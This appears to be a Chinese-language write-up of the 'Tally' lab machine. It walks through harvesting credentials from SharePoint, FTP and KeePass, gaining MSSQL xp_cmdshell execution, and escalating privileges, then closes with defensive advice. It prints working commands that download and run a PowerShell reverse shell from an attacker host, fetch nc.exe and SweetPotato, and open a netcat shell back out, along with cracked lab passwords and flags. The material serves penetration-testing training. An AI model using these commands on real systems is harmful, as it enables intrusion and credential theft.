Tally SharePoint+Keepass+Firefox 44.0-RCE+MSSQL-RCE+定时任务权限提升+SweetPotato权限提升+CVE-2017-0213权限提升
字数 1634 2025-08-20 18:18:05
Windows渗透测试实战教学:从信息收集到权限提升
1. 信息收集阶段
1.1 端口扫描
使用Nmap进行全端口扫描:
nmap -p- 10.10.10.59 --min-rate 1000 -sC -sV -Pn
关键发现:
- 21/tcp: FTP服务 (Microsoft ftpd)
- 80/tcp: HTTP (Microsoft IIS 10.0, SharePoint)
- 81/tcp: HTTP (Microsoft HTTPAPI)
- 1433/tcp: MS-SQL (Microsoft SQL Server 2016)
- 5985/tcp: WinRM (HTTPAPI)
1.2 SharePoint信息收集
访问SharePoint站点:
http://10.10.10.59/_layouts/15/viewlsts.aspx
发现Word文档中包含FTP凭据:
- 用户名: tally
- 密码: UTDRSCH53c"$6hys
2. 初始访问
2.1 FTP访问
使用发现的凭据连接FTP:
ftp 10.10.10.59
下载所有文件:
wget -r 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59'
关键发现:
- 在./User/Tim/Files/目录下发现tim.kdbx (KeePass密码数据库)
2.2 KeePass密码破解
提取KeePass哈希:
keepass2john ./User/Tim/Files/tim.kdbx > hash
使用hashcat破解:
hashcat -m 13400 hash /usr/share/wordlists/rockyou.txt --force
发现密码: simplementeyo
查看KeePass内容:
kpcli --kdb ./User/Tim/Files/tim.kdbx
发现更多凭据:
- 用户名: Finance
- 密码: Acc0unting
2.3 SMB访问
使用发现的凭据访问SMB共享:
crackmapexec smb 10.10.10.59 -u Finance -p Acc0unting
smbmap -H 10.10.10.59 -u Finance -p Acc0unting
挂载共享:
mkdir /mnt/10.10.10.59
sudo mount -t cifs -o user=Finance,pass=Acc0unting //10.10.10.59/ACCT /mnt/10.10.10.59
在共享中发现tester.exe,提取SQL凭据:
strings './zz_Migration/Binaries/New folder/tester.exe'
发现SQL SA凭据:
- 用户名: sa
- 密码: GWE3V65#6KFH93@4GWTG2G
3. 漏洞利用
3.1 方法1:Firefox 44.0 RCE (CVE-2016-1960)
利用步骤:
- 上传恶意HTML到FTP的Intranet目录
- 创建index.html文件,内容为Firefox漏洞利用代码
- 等待受害者访问触发漏洞
关键点:
- 漏洞类型:整数下溢(Integer underflow)
- 影响版本:Firefox < 45.0
- 利用链:触发漏洞后执行PowerShell反向shell
3.2 方法2:MSSQL XP_CMDSHELL
使用impacket连接MSSQL:
impacket-mssqlclient sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59
启用xp_cmdshell并执行PowerShell反向shell:
enable_xp_cmdshell
EXEC xp_cmdshell 'powershell -ExecutionPolicy Bypass -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.16.12/Invoke-PowerShellTcp.ps1'')"'
4. 权限提升
4.1 方法1:定时任务权限提升
发现点:
- 在系统中发现SPBestWarmUp.ps1脚本
- 该脚本由Admin用户通过计划任务定期执行
- 当前用户对该脚本有完全控制权限
利用步骤:
- 替换SPBestWarmUp.ps1内容为反向shell代码
- 等待计划任务执行获取Admin权限shell
4.2 方法2:SweetPotato提权 (SeImpersonate)
检查当前权限:
whoami /priv
发现SeImpersonate权限可用
下载并执行SweetPotato:
curl -O nc.exe http://10.10.16.12/nc64.exe
curl -O SweetPotato.exe http://10.10.16.12/SweetPotato.exe
.\SweetPotato.exe -p "\Users\Sarah\Downloads\nc.exe" -a "-e powershell 10.10.16.12 10011"
4.3 方法3:COM Aggregate Marshaler提权 (CVE-2017-0213)
检查系统信息:
systeminfo
发现适用于Windows 7/2008 R2/8.1/2012 R2
利用步骤:
- 下载并编译漏洞利用代码
- 上传nc.exe和编译后的rev.exe
- 执行rev.exe获取SYSTEM权限
5. 后渗透
获取用户flag:
01d18a8e9b980594fc9ae1cbc66e7880
获取系统flag:
27c3429c280426f0145fe18f647a1fb3
6. 关键工具和资源
- Nmap:端口扫描
- KeePass2John:KeePass哈希提取
- Hashcat:密码破解
- Impacket:MSSQL客户端
- SweetPotato:SeImpersonate提权工具
- CVE-2017-0213利用代码:COM Aggregate Marshaler提权
- PowerShell反向shell脚本:Invoke-PowerShellTcp.ps1
7. 防御建议
- 及时更新浏览器和系统补丁
- 限制FTP匿名访问
- 加强密码策略,避免密码重用
- 限制xp_cmdshell使用
- 定期审计计划任务和权限分配
- 监控异常进程创建和网络连接